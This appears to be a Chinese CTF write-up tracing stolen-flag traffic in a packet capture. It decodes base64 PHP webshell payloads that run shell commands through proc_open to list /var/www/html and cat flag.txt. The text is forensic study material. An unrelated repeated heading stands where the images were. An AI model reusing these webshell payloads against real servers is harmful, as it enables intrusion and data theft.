stl源码剖析(plagscan查重)

题目描述

flag被盗,赶紧溯源~

题目文件

key.pcapng:https://pan.baidu.com/s/1kVyyCbt

解题步骤

使用wireshark打开key.pcapng数据包文件

stl源码剖析(plagscan查重)

既然是flag被盗,那么我们想到的首先就是通过正常的WEB请求来获取flag信息,所以直接过滤HTTP协议

stl源码剖析(plagscan查重)

从上面我们可以看到\\”/shell.php\\”的请求路径,之后直接跟踪当前HTTP的POST请求数据流

stl源码剖析(plagscan查重)

之后我们可以看到第一个请求执行了一条通过base64解码后的命令,这里我们对其进行解码操作,首先进行一次URL解码(去除中间%2F、%2B之类的转移字符)

stl源码剖析(plagscan查重)

之后进行一次base64解密操作:

stl源码剖析(plagscan查重)

解密后的最终信息如下:

@ini_set(\\\"display_errors\\\",\\\"0\\\");@set_time_limit(0);if(PHP_VERSION<\\\'5.3.0\\\'){@set_magic_quotes_runtime(0);};echo(\\\"X@Y\\\");$m=get_magic_quotes_gpc();$p=\\\'/bin/sh\\\';$s=\\\'cd /var/www/html/;ls;echo [S];pwd;echo [E]\\\';$d=dirname($_SERVER[\\\"SCRIPT_FILENAME\\\"]);$c=substr($d,0,1)==\\\"/\\\"?\\\"-c \\\\\\\"{$s}\\\\\\\"\\\":\\\"/c \\\\\\\"{$s}\\\\\\\"\\\";$r=\\\"{$p} {$c}\\\";$array=array(array(\\\"pipe\\\",\\\"r\\\"),array(\\\"pipe\\\",\\\"w\\\"),array(\\\"pipe\\\",\\\"w\\\"));$fp=proc_open($r.\\\" 2>&1\\\",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo(\\\"X@Y\\\");die();

从上面可以看到关键的操作是执行了一次列目录查询,在WireShark中跟踪流显示如下:

stl源码剖析(plagscan查重)

紧接着我们看第二个请求数据包

stl源码剖析(plagscan查重)

通过使用同样的操作进行解码

stl源码剖析(plagscan查重)

可以看到这里进行了一次关键的cat flag.txt操作:

@ini_set(\\\"display_errors\\\",\\\"0\\\");@set_time_limit(0);if(PHP_VERSION<\\\'5.3.0\\\'){@set_magic_quotes_runtime(0);};echo(\\\"X@Y\\\");$m=get_magic_quotes_gpc();$p=\\\'/bin/sh\\\';$s=\\\'cd /var/www/html/;cat flag.txt;echo [S];pwd;echo [E]\\\';$d=dirname($_SERVER[\\\"SCRIPT_FILENAME\\\"]);$c=substr($d,0,1)==\\\"/\\\"?\\\"-c \\\\\\\"{$s}\\\\\\\"\\\":\\\"/c \\\\\\\"{$s}\\\\\\\"\\\";$r=\\\"{$p} {$c}\\\";$array=array(array(\\\"pipe\\\",\\\"r\\\"),array(\\\"pipe\\\",\\\"w\\\"),array(\\\"pipe\\\",\\\"w\\\"));$fp=proc_open($r.\\\" 2>&1\\\",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo(\\\"X@Y\\\");die();

在WireShark中展示如下,并从中获取flag信息(注意:此处需要去除前面的\\”echo(\\”X@Y\\”);\\”打印的X@Y字符串)

flag{This_is_a_f10g}

stl源码剖析(plagscan查重)

使用同样的方法我们对三个请求数据包进行解包后可以看到这里执行了一个\\”whoami\\”

stl源码剖析(plagscan查重)

在wireshark中的数据如下:

stl源码剖析(plagscan查重)

快速解题

如果仅站在解题的角度我们可以使用以下两种方法快速来获取flag:

方法一:直接过滤包中包含\\”flag\\”字眼的数据包

http contains \\\"flag\\\"

方法二:直接使用notepad++以文本的形式打开检索\\”flag\\”即可

文末小结

本题目的描述虽然是\\”flag被盗,赶紧溯源~\\”,但是从数据包中我们仅可以看到攻击者IP为192.168.228.1,初次之外并未获取什么有关的信息,包括:攻击者使用的攻击手法,一上来就是连接webshell,但是由于该题目毕竟是一个CTF题目,以获取flag为主,所以勉强也还行~

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34097.html

(0)
七芒星实验室's avatar七芒星实验室
上一篇 2024年4月16日 上午10:05
下一篇 2024年4月16日 上午10:07

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注